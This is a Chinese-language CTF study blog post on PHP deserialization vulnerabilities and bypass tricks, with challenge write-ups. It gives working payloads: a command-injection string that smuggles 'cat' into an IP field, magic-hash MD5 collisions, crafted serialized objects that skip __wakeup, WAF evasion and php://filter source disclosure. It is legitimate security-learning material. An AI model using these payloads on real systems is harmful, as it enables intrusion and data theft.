php反序列化姿势学习&一些绕过

反序列化漏洞,web入门基础之一,记录了一些姿势和绕过

php反序列化漏洞的原理,俺觉得这篇文章讲的8错,适合php0基础小白: 链接
总结:
unserialize漏洞依赖几个条件:
unserialize函数的参数可控
脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
所写的内容需要有对象中的成员变量的值

一些绕过

is_numeric()绕过

利用数组绕过: 大部分php不会判断数组

强等于、弱等于绕过

弱等于判断的时候,如果两边的类型不同,则先是将类型转换成相同的,再进行比较
强等于判断的时候,先判断类型是否一样,不一样直接false,一样才比较

弱等于的转换:

1
2
3
"admin"==0;//true
"1admin"=1;//true
"3%00"=3;//true

以及:
==对于所有0e开头的都为相等
进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法

关键词屏蔽绕过

变量覆盖:
eg: flag为屏蔽词,且贪婪匹配
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

md5绕过

0e绕过
处理hash字符串时,PHP会将每一个以 0E开头的哈希值解释为0,那么只要传入的不同字符串经过哈希以后是以 0E开头的,那么PHP会认为它们相同

1
2
3
4
5
6
$a = "s878926199a";
$b = "s155964671a";
md5($a) == md5($b);//true
$a1 = "0e33";
$b1 = "0e89";
md5($a1)=md5($b1);//true

数组绕过
在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 == 和 === 比较的结果均为 True

1
2
3
4
$a = $_GET["a"];
$b = $_GET["b"];
//输入?a[]=1&b[]=2
$a===$b;//true

md5碰撞
需要用到1个叫fastcoll.exe的软件,这个软件的功能有点牛逼,可以输入1一个a软件(也可以是.txt),然后输出b和c软件,b和c的名字8同,但md5值是相同的

php弱\强类型比较 && 一些作业

感觉像是只会出现在ctf里的绕过…

成因:
== 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较
0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a

至于强类型===,则阔以通过数组绕过(数组返回NULL),比如要求$param1!==$param2,但md5($param1)===md5($param2):

1
param1[]=1&param2[]=2

传数组的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断,可以说值得记忆

各种姿势

反序列化逃逸

这是学完反序列化漏洞后做的第1个题,不算真正的反序列化漏洞题,利用了unserialize函数的1个特性
进入网页,php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include('flag.php'); //flag.php!!!!!!!!!
error_reporting(0);

function replace($payload){
$filter="/flag/i";
return preg_replace($filter,"nono!",$payload); //匹配payload中的filter并替换,此处的/i表示大小写不敏感,(在菜鸟在线里验证过,单双引号的区别
};
$sss=$_GET['ky']; //单引号,不转义, 此处为用户输入的可构造payload部分
$ctf['sss1']='webwebweb';
$ctf['sss2']='pwnpwnpwn';
if(isset($sss)){
if(strpos($sss,'flag')>=0){//返回flag在php中第一次出现位置的数字 若没有则返回FALSE,所以必须出现上述
$ctf['sss1']=$sss; //ss1换成payload
$ctf=unserialize(replace(serialize($ctf)));//serialize:序列化一个对象或数组,返回字符串;调用replace,把"/flag/i"换成nono!,可以双写绕过
if($ctf['sss2']==="webwebweb"){ //3个=,强比较,没法绕
echo $flag;
}else{
echo "nonono!";
}
}
}
else{
highlight_file(__FILE__);
}
?>

还算简单,俺这个没学过php的勉强能看懂,那么怎么构造呢?当时半天没想出来,后来kill7imer师傅花了20min就做出来了,是俺太笨了呜呜呜
payload:
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag”;s:4:”sss2”;s:9:”webwebweb”;}

大致原理

在unserialize反序列化时,若参数字符串不符合序列化的标准格式(比如数字和实际字符长度不匹配),那么反序列化失败,unserialize啥也8会返回,因此此处要输入很多’flag’确保被替换成’nono!’后也满足序列化格式

然后后面的咋解决呢? 8用解决,因为unserialize在操作完后就8会管后面的字符串,因此闭合、填充就可以了,这就叫反序列化逃逸

各种魔术方法在什么时候被调用

__construct: 对象被创建(实例化)时被调用
__set: 出现异常时调用(比如访问1个8存在的属性),用于将数据写入不可访问的属性
__sleep: 在对象被序列化时被调用(先__sleep,然后serialize)
__wakeup: 在对象被反序列化时被调用(先__wakeup,然后unserialize)
__destruct: 在对象被销毁时被调用(可以利用之删除某些文件)(4nd绝大部分情况下php会自动删除对象,也就是这个函数一般一定会被调用)

__toString 当一个对象被当作字符串使用时被调用, 返回值需为字符串(eg: echo $obj)
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

改变属性数绕过__wakeup

原理: 当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行

tips

如果类中含有protect或者private变量,那么里面可能会有空字符,在复制时无法复制进去,于是需要我们在burp抓包后手动用”%00”填充
比如:

php的版本不同,可能会导致反序列化的结果也不同

实战

php 极客大挑战2019 (反序化之跳过__wakeup执行)

操了,忘了网站的备份文件这个知识点: www.zip是网站的备份文件

通过这题再学习一下php反序列化漏洞
然后根据提示,下载www.zip文件,查看class.php(这里有个dirsearch的扫网站后台目录脚本阔以用一手):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

然后在index.php中有一段php代码,第一次看没看到…

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

然后就阔以大致推测,get传过去的select经反序列化变成的res会被传到class.php中作为$this

做法: 要调用__destruct函数才能显示flag,幸运的是php一般会主动调用这个函数,8需要我们调用
然后password要弱等于100,username要等于’admin’,这就有问题了,因为在反序列化时会调用__wake函数,而__wake函数会把username改了

所以就需要绕过这个函数,怎么绕呢? 可以通过改变属性数绕过,原理是: 当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行

所以我们构造payload: O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
注意: 此处的%00是空字符,原因是$password和$username都是私有变量,因此在序列化时就会是这种格式

easy calc (php字符串解析特性绕过WAF,附解析替换作业)

这题考察waf绕过和php字符串解析特性绕过

随便输入个’1+!’,返回: “>You don’t have permission to access /calc.php on this server.”
于是就没去访问calc.php,但其实是我误解了,没法访问是因为输入了字母,而如果提交的参数合法的话是阔以访问的…

然后偷瞄wp,回来访问calc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');//执行 'echo $str;'语句
}
?>

黑名单限制,有戏
此处只限制了空格等字符,没有限制字符串,但输入字符串却会返回警告(且警告内容8一样),说明有waf

waf限制只能提交数字,字母会被过滤,但是阔以用php字符串解析特性绕过waf

php字符串解析特性

php在解析时,需要将所有参数转化为有效变量名,为此它要做2件事: 1、把所有空白字符删除;2、把一些字符转化为下划线(包括空格)
为此就阔以提交”/? num=payload”,此时提交的参数是’ num’,删除空格变为num,就阔以绕过防火墙了
然后我试了试,发现失败…原因是要把空格换成%20,然后就提交成功了

然后构造payload,通过scandir()+var_dump()函数查看目录
scandir(pram): 列出参数目录下的所有文件\目录(eg:pram=’/image/‘)

但是calc.php限制了’/‘,怎么办?
可见你白学了,这个阔以用chr(47)绕过aaaaaaaaaaaah

1
scandir(chr(47))

回显: Array
查看Array目录

1
var_dump(scandir(chr(47)))

发现f1agg文件,查看

1
var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(97).chr(103).chr(47)))  //注意是'/f1aag而8是f1aag'

解析替换作业

[ZJCTF 2019]NiZhuanSiWei (php伪协议)

进入页面,源码贴脸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

看完了,就是php反序列化,决定8看wp自己做出来
另外面试的时候可没有让你查资料的机会,所以该记的payload还是有意识记一下

注释里的useless.php是阔以访问的,但是是空白页面,看来得想办法通过反序列化看源码
然后….file正则匹配绕8过去…于是就去看wp了…..(完美打破立的flag)

首先,会访问text文件并读取里面字符串,这就要用到伪协议: data://写入协议了:
?text=data://text/plain,welcome to the zjctf
然后是file,绕8过,但是你有想到甚么吗? 文件包含漏洞啊!次奥,这都想8到
file=php://filter/read=convert.base64-encode/resource=useless.php

然后得到base64编码的流,解码获得useless.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file); //读取+显示$this->file
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

嗯….我觉得到这步真的阔以靠自己做了,起码先试着分析:
toString: 可以通过调用它来执行查看file,它在当一个对象被当作字符串使用时被调用
unserialize: 调用__wakeup,,没源码,略过

所以怎么通过反序列化实现对__tostring的调用? 还是说有别的方法?
哦,在echo $password时就会调用tostring….你个憨货

对象是什么? 是Flag, 构造:
password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

结果发现你想多了….最后这么构造:
text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
然后查看源码即可看到flag….

还是不熟练啊啊啊啊啊啊啊啊啊啊啊♂啊啊啊啊!!!!

[网鼎杯 2020 青龙组]AreUSerialze (php版本不同可能导致反序列化的结果也不同)

很水的一道题,没必要写wp,记录下做题遇到的问题

在构造payload时遇到了php版本8适应的问题,导致构造好的payload回显老是失败,为此实际操作时记得试试8同的php版本(不同php版本在序列化含private||protected的类时得到的结果可能8一样)


php反序列化姿势学习&一些绕过
https://bl4zygao.github.io/2022/01/11/php反序列化姿势学习/
Author
bl4zy
Posted on
January 11, 2022
Licensed under